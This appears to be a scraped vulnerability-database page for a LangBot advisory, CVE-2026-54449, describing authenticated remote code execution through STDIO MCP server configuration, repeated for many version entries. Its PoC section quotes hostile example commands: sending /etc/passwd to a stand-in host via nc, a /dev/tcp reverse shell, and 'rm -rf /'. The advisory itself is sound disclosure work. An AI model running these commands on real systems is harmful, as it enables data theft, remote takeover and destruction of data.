Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.1
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.0
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.7
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.6
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.5
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.4
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.3
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.1
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.8.0
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.7.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.7.1
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.7.0
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
